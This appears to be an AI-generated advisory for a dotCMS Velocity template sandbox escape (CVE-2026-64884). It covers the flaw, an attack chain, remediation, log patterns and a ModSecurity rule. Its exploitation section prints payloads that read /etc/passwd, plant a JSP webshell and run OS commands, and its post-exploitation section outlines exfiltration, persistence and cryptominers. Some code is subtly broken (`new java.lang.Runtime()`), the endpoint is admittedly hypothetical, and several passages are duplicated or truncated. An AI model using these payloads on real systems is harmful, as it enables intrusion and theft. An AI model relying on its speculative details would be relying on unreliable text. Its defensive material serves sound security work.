CVE-2026-64884 — DotCMS (26.09.23-01) — CWE-693
An incomplete restricted-class check in the Velocity template sandbox (SecureIntrospectorImpl) in dotCMS versions before 26.09.23-01 (25.07.10 LTS before v21) allows an authenticated back-end user who can run Velocity scripts, without administrator rights, to call methods on file-system, I/O stream and network-resource objects. The user can read and write any file the dotCMS service account can access, including signing keys and stored secrets, and execute operating-system commands on the server. This issue is distinct from SI-74. Fixed in 26.09.23-01 and later, and in 25.07.10 LTS v21. The sandbox now denies method calls on the file, path, stream, channel, file-system, URL and URI type families, including their subclasses and platform implementations.
An incomplete restricted-class check in the Velocity template sandbox (SecureIntrospectorImpl) in dotCMS versions before 26.09.23-01 (25.07.10 LTS before v21) allows an authenticated back-end user who can run Velocity scripts, without administrator rights, to call methods on file-system, I/O stream and network-resource objects. The user can read and write any file the dotCMS service account can access, including signing keys and stored secrets, and execute operating-system commands on the server. This issue is distinct from SI-74. Fixed in 26.09.23-01 and later, and in 25.07.10 LTS v21. The sandbox now denies method calls on the file, path, stream, channel, file-system, URL and URI type families, including their subclasses and platform implementations.
🎯 What is this vulnerability?
This vulnerability is a Sandbox Escape (CWE-693: Protection Mechanism Failure) in the Velocity Template Engine as implemented within dotCMS.
The Technical Flaw:
dotCMS utilizes Apache Velocity for server-side template rendering. To prevent malicious code execution, it employs a "sandbox" mechanism, specifically SecureIntrospectorImpl. This class is responsible for intercepting method calls on Java objects passed to the Velocity context. Its purpose is to deny access to dangerous methods (like Runtime.exec(), File.read(), Socket.connect()).
The flaw lies in an incomplete restricted-class check. The SecureIntrospectorImpl in affected versions fails to properly block method invocations on specific Java type families:
1. File System Objects: java.io.File, java.nio.file.Path, java.nio.file.FileSystem.
2. I/O Streams: java.io.InputStream, java.io.OutputStream, java.io.FileInputStream, java.io.FileOutputStream, java.nio.channels.FileChannel.
3. Network Resources: java.net.URL, java.net.URI, java.net.URLConnection.
Because the introspector does not deny these calls, an authenticated user with the ability to execute Velocity scripts (but without administrator privileges) can instantiate or reference these objects and call their methods directly. This bypasses the intended security boundary, allowing the Velocity engine to act as a direct proxy for the underlying Java Runtime Environment (JRE) file and network operations.
Key Distinction:
The CVE explicitly states this is distinct from SI-74. While SI-74 may have involved different bypass techniques (e.g., reflection or classloader manipulation), this specific CVE focuses on the failure to block standard I/O and Network API calls within the sandbox introspector.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify the target as running dotCMS. Common indicators include the
X-Frame-Optionsheader, specific cookie names (e.g.,dotcms_session), or the presence of/dotcms/paths. - Version Enumeration: Check the
Serverheader or specific API endpoints (e.g.,/api/v1/system/info) to determine the dotCMS version.
* Vulnerable: Any version prior to - Authentication: The attacker requires valid credentials for a back-end user who has permission to execute Velocity scripts. This is typically a "Content Editor" or "Developer" role, not necessarily an Administrator. The user must have the
execute-velocitypermission or equivalent capability in the dotCMS permission model.
26.09.23-01 or 25.07.10 LTS v21.
* Safe: 26.09.23-01 and later, or 25.07.10 LTS v21 and later.
2. Exploitation
The attacker crafts a Velocity template that leverages the unblocked I/O and Network classes. Since the exact endpoint for script execution varies by dotCMS configuration (e.g., via a specific "Velocity" widget, a custom API endpoint, or a template override), the following is an illustrative example of the payload structure.Prerequisite: The attacker has a valid session cookie (dotcms_session) and can submit a Velocity template for rendering.
Payload Concept:
The attacker uses the #set directive to instantiate or reference a java.io.File object and calls its methods. Alternatively, they can use java.lang.Runtime if the sandbox fails to block it (though the CVE specifically highlights File/IO/Network). Given the CVE description focuses on File/IO/Network, we will focus on File Read and Command Execution via ProcessBuilder (if ProcessBuilder is also unblocked, which is common in such sandbox failures) or File Write to create a webshell.
Illustrative PoC: Reading a Sensitive File (e.g., /etc/passwd or dotCMS config)
#set($f = new java.io.File("/etc/passwd"))
#set($in = new java.io.FileInputStream($f))
#set($bytes = new byte[$f.length()])
#set($read = $in.read($bytes))
#set($str = new java.lang.String($bytes, 0, $read))
#set($in.close())
#set($out = new java.io.PrintWriter($response.getWriter()))
$out.println($str)
$out.close()Illustrative PoC: Writing a Webshell (JSP)
#set($f = new java.io.File("/var/www/html/shell.jsp"))
#set($out = new java.io.FileOutputStream($f))
#set($shell = "<%@ page import=\"java.io.*\" %><% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>")
#set($bytes = $shell.getBytes())
#set($out.write($bytes))
#set($out.close())Illustrative PoC: Command Execution (If ProcessBuilder or Runtime is accessible)
Note: While the CVE highlights File/IO/Network, sandbox escapes often allow Runtime.exec(). If Runtime is blocked, the attacker might use java.lang.ProcessBuilder if it's also not in the deny list.
#set($r = new java.lang.Runtime().exec("id"))
#set($in = new java.io.BufferedReader(new java.io.InputStreamReader($r.getInputStream())))
#set($line = $in.readLine())
#set($out = new java.io.PrintWriter($response.getWriter()))
$out.println($line)
$out.close()How to Deliver:
The attacker submits this payload via the dotCMS API or UI where Velocity templates are processed. For example, if there is an API endpoint like /api/v1/velocity/execute (hypothetical, depends on config) or if the attacker can edit a template that is rendered on a public page. The exact URI is not specified in the CVE description, so the delivery mechanism depends on the specific dotCMS configuration and permissions of the compromised account.
3. Post-Exploitation
1. Data Exfiltration: * Read sensitive configuration files:dotcms.properties, application.properties.
* Read database credentials from environment variables or config files.
* Read SSL/TLS private keys and signing keys stored on the file system.
* Exfiltrate data via network requests using java.net.URL or java.net.HttpURLConnection to an attacker-controlled server.
2. Persistence:
* Write a JSP or PHP webshell to the web root.
* Modify Velocity templates to include malicious code that executes on every page load.
* Add a new user with administrator privileges via direct database manipulation (if DB credentials are exfiltrated) or via the dotCMS API.
3. Lateral Movement:
* Use the compromised server to scan the internal network using java.net.Socket or java.net.InetAddress.
* Deploy additional malware or cryptominers.
4. Privilege Escalation:
* If the dotCMS service account has elevated OS privileges (e.g., root), the attacker can execute arbitrary OS commands with those privileges.
* Modify system files or services to maintain access.🌍 Real World Impact
CVSS 4.0 Vector Analysis:CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Primary Remediation)
SecureIntrospectorImpl correctly denies method calls on java.io.File, java.net.URL, etc. Test with a harmless Velocity script that attempts to read a file and confirm it is blocked.2. Workarounds (If Immediate Patching is Not Possible)
execute-velocity permission from all non-administrator users.
* Ensure that only trusted administrators can create or edit Velocity templates.
* Audit existing users and revoke Velocity execution rights where not strictly necessary.
/etc/passwd, SSL keys) are not readable by the dotCMS service account.3. Detection (IoCs)
/api/v1/velocity/execute, /dotcms/velocity/...).
* Inspect request bodies for Velocity directives like #set, new java.io.File, new java.net.URL, Runtime.exec, ProcessBuilder.
* Example Log Pattern:POST /api/v1/velocity/execute HTTP/1.1
Content-Type: application/json
{"template": "#set($f = new java.io.File(\"/etc/passwd\"))..."}SecureIntrospectorImpl or Velocity exceptions.
* Look for unusual file access patterns by the dotCMS service account (e.g., reading /etc/passwd, writing to /var/www/html/).
.jsp, .php, .html files).
* Alert on changes to configuration files (e.g., dotcms.properties).
4. WAF/ModSecurity Rules (Illustrative)
Note: WAF rules are a defense-in-depth measure and should not replace patching.# ModSecurity Rule to block Velocity sandbox escape attempts
SecRule REQUEST_BODY "@rx (?i)(#set.*new\s+java\.io\.File|#set.*new\s+java\.net\.URL|Runtime\.exec|ProcessBuilder)" \
"id:100001,phase:2,deny,status:403,msg:'Velocity Sandbox Escape Attempt Detected',log,auditLog"⚠️ Urgency
Priority: CRITICAL
Conclusion: This vulnerability allows a low-privileged user to bypass the Velocity sandbox and achieve full remote code execution and data exfiltration. It must be treated as a critical incident and patched immediately.
[🤖 CVE Professor AI Security Engine]
FOFA Query